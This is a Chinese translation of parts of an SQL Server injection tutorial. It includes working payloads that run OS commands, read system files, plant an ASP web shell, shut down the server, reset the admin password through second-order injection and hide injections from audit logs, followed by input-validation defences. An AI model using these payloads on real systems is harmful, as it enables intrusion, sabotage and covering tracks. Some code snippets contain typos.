[ActiveX automation scripts in SQL SERVER] SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或javascript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用’wscript.shell’对象建立了一个记事本的实例: wscript.shell example declare @o int exec sp_oacreate ’wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’ 我们可以通过指定在用户名后面来执行它: Username:’; declare @o int exec sp_oacreate ’wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—
(2)这个例子使用’scripting.filesystemobject’对象读一个已知的文本文件: --scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1 exec @ret=sp_oamethod @f,’readline’,@line out while(@ret=0) begin print @line exec @ret=sp_oamethod @f,’readline’,@line out end
(3)这个例子创建了一个能执行通过提交到的任何命令: -- scripting.filesystemobject example – create a ’run this’.asp file declare @o int,@f int,@t int,@ret int exec sp_oacreate ’scripting.filesystemobject’,@o out exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1 exec @ret=sp_oamethod @f,’writeline’,NULL,’<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>’ 需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用’speech.voicetext’对象引起SQL SERVER发声: declare @o int,@ret int exec sp_oacreate ’speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528 waitfor delay ’00:00:05’ 我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序): Username:admin’;declare @o int,@ret int exec sp_oacreate ’speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05’--
[没有单引号的字符串] 有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似: function escape(input) input=replace(input,"’","’’") escape=input end function 无可否认地这防止了我们所有例子的攻击,再除去’;’符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。 如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如: insert into users values(666, char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 0xffff) 这就是一个能够往表中插入字符串的不包含单引号的查询。 淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用: insert into users values(667, 123, 123, oxffff) SQL SERVER自动地将整型转化为varchar型的值。
[Second-Order SQL Injection] 即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。 例如,攻击者可能利用下面的信息在应用程序中注册: Username:admin’— Password:password 应用程序正确过滤了单引号,返回了一个类似这样的insert语句: insert into users values(123,’admin’’—’,’password’,0xffff) 我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = ’" + username + "’ and password = ’" + oldpassword + "’"; rso.open( sql, cn ); if (rso.EOF) { … 设置新密码的代码如下: sql = "update users set password = ’" + newpassword + "’ where username = ’" + rso("username") + "’" rso("username")为登陆查询中返回的用户名 当username为admin’—时,查询语句为: update users set password = ’password’ where username=’admin’—’ 这样攻击者可以通过注册一个admin’—的用户来根据自己的想法来设置admin的密码。 这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含’符号,例如 O’Brien 从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL查询的数据都是正确的是最好的方法。 如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如: if(not isValid("email",request.querystring("email"))) then response.end 或者类似的方法。
[长度限制] 为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击时,一个小的SQL可以造成很严重的危害。例如: Username:’;shutdown— 这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是: drop table 如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上面提到的shutdown命令: Username:aaaaaaaaaaaaaaa’ Password:’; shutdown— 原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,它可以包含一些SQL语句。既然这样查询看上去是: select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’;shutdown— 实际上,查询中的用户名已经变为: aaaaaaaaaaaaaaa’ and password=’ 因此最后的SQL语句会被执行。
[审计] SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口,它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句,然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的,我们讨论的所有注入的SQL查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,如果攻击者追加以下字符串: Sp_password 到一个Transact-SQL语句中,这个审计机制记录日志如下: --’sp_password’ was found in the text of this event. -- The text has been replaced with this comment for security reasons. 这种行为发生在所有的T-SQL日记记录中,即使’sp_password’发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。 因此,为了隐藏所有注入,攻击者需要简单地在’—’注释字符后追加sp_password,例如: Username:admin’—sp_password 事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。
方法二——拒绝已知的错误输入 function validate_string(input) known_bad=array("select","insert","update","delete","drop","—","’") validate_string=true for i=lbound(known_bad) to ubound(known_bad) if(instr(1,input,known_bad(i),vbtextcompare)<>0) then validate_string=false exit function end if next end function
方法三——只允许正确的输入 function validatepassword(input) good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” validatepassword=true for i=1 to len(input) c=mid(input,I,1) if(InStr(good_password_chars,c)=0) then validatepassword=false exit function end if next end function
[参考文献] [1] Web Application Disassembly with ODBC Error Messages, David Litchfield http://www.nextgenss.com/papers/webappdis.doc [2] SQL Server Security Checklist http://www.sqlsecurity.com/checklist.asp [3] SQL Server 2000 Extended Stored Procedure Vulnerability http://www.atstake.com/research/adv...0/a120100-2.txt [4] Microsoft SQL Server Extended Stored Procedure Vulnerability http://www.atstake.com/research/adv...0/a120100-1.txt [5] Multiple Buffer Format String Vulnerabilities In SQL Server http://www.microsoft.com/technet/se...in/MS01-060.asphttp://www.atstake.com/research/adv...1/a122001-1.txt相关文章